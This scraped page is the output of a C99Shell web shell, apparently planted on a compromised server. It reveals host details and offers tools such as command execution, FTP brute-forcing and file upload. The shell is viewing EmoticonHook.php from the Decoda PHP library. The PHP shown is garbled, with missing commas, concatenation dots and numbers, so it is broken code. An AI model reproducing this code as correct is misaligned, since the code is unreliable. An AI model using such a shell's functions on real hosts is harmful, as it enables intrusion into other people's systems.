!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_led/php/vendor/mjohnson/decoda/src/Decoda/Hook/   drwxrwxr-x
Free 15.61 GB of 61.93 GB (25.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     EmoticonHook.php (4.03 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @copyright   2006-2014, Miles Johnson - http://milesj.me
 * @license     https://github.com/milesj/decoda/blob/master/license.md
 * @link        http://milesj.me/code/php/decoda
 */

namespace Decoda\Hook;

use 
Decoda\Decoda;
use 
Decoda\Loader\FileLoader;

/**
 * Converts smiley faces into emoticon images.
 */
class EmoticonHook extends AbstractHook {

    
/**
     * Configuration.
     *
     * @type array
     */
    
protected $_config = array(
        
'path' => '/images/',
        
'extension' => 'png'
    
);

    
/**
     * Mapping of emoticons to smilies.
     *
     * @type array
     */
    
protected $_emoticons = array();

    
/**
     * Map of smilies to emoticons.
     *
     * @type array
     */
    
protected $_smilies = array();

    
/**
     * Read the contents of the loaders into the emoticons list.
     */
    
public function startup() {
        if (
$this->_emoticons) {
            return;
        }

        
// Load files from config paths
        
foreach ($this->getParser()->getPaths() as $path) {
            foreach (
glob($path 'emoticons.*') as $file) {
                
$this->addLoader(new FileLoader($file));
            }
        }

        
// Load the contents into the emoticon and smiley list
        
foreach ($this->getLoaders() as $loader) {
            
$loader->setParser($this->getParser());

            if (
$emoticons $loader->load()) {
                foreach (
$emoticons as $emoticon => $smilies) {
                    foreach (
$smilies as $smile) {
                        
$this->_smilies[$smile] = $emoticon;
                    }
                }

                
$this->_emoticons array_merge($this->_emoticons$emoticons);
            }
        }
    }

    
/**
     * Parse out the emoticons and replace with images.
     *
     * @param string $content
     * @return string
     */
    
public function afterParse($content) {
        
$smilies $this->getSmilies();

        
// Build the smilies regex
        
$smiliesRegex implode('|'array_map(function ($smile) {
            return 
preg_quote($smile'/');
        }, 
$smilies));

        
$pattern sprintf('/(?:(?<=[\s.;>:)])|^)(%s)/'$smiliesRegex);
        
$content preg_replace_callback($pattern, array($this'_emoticonCallback'), $content);

        
$pattern sprintf('/(%s)(?:(?=[\s.&<:(])|$)/'$smiliesRegex);
        
$content preg_replace_callback($pattern, array($this'_emoticonCallback'), $content);

        return 
$content;
    }

    
/**
     * Gets the mapping of emoticons and smilies.
     *
     * @return array
     */
    
public function getEmoticons() {
        return 
$this->_emoticons;
    }

    
/**
     * Returns all available smilies.
     *
     * @return array
     */
    
public function getSmilies() {
        return 
array_keys($this->_smilies);
    }

    
/**
     * Checks if a smiley is set for the given id.
     *
     * @param string $smiley
     * @return bool
     */
    
public function hasSmiley($smiley) {
        return isset(
$this->_smilies[$smiley]);
    }

    
/**
     * Convert a smiley to an HTML representation.
     *
     * @param string $smiley
     * @param bool $isXhtml
     * @return string
     */
    
public function render($smiley$isXhtml true) {
        if (!
$this->hasSmiley($smiley)) {
            return 
null;
        }

        
$path sprintf('%s%s.%s',
            
$this->getConfig('path'),
            
$this->_smilies[$smiley],
            
$this->getConfig('extension'));

        if (
$isXhtml) {
            
$tpl '<img class="decoda-emoticon" src="%s" alt="" />';
        } else {
            
$tpl '<img class="decoda-emoticon" src="%s" alt="">';
        }

        return 
sprintf($tpl$path);
    }

    
/**
     * Callback for smiley processing.
     *
     * @param array $matches
     * @return string
     */
    
protected function _emoticonCallback($matches) {
        
$smiley trim($matches[0]);

        if (
count($matches) === || !$this->hasSmiley($smiley)) {
            return 
$matches[0];
        }

        return 
$this->render($smiley$this->getParser()->getConfig('xhtmlOutput'));
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.2932 ]--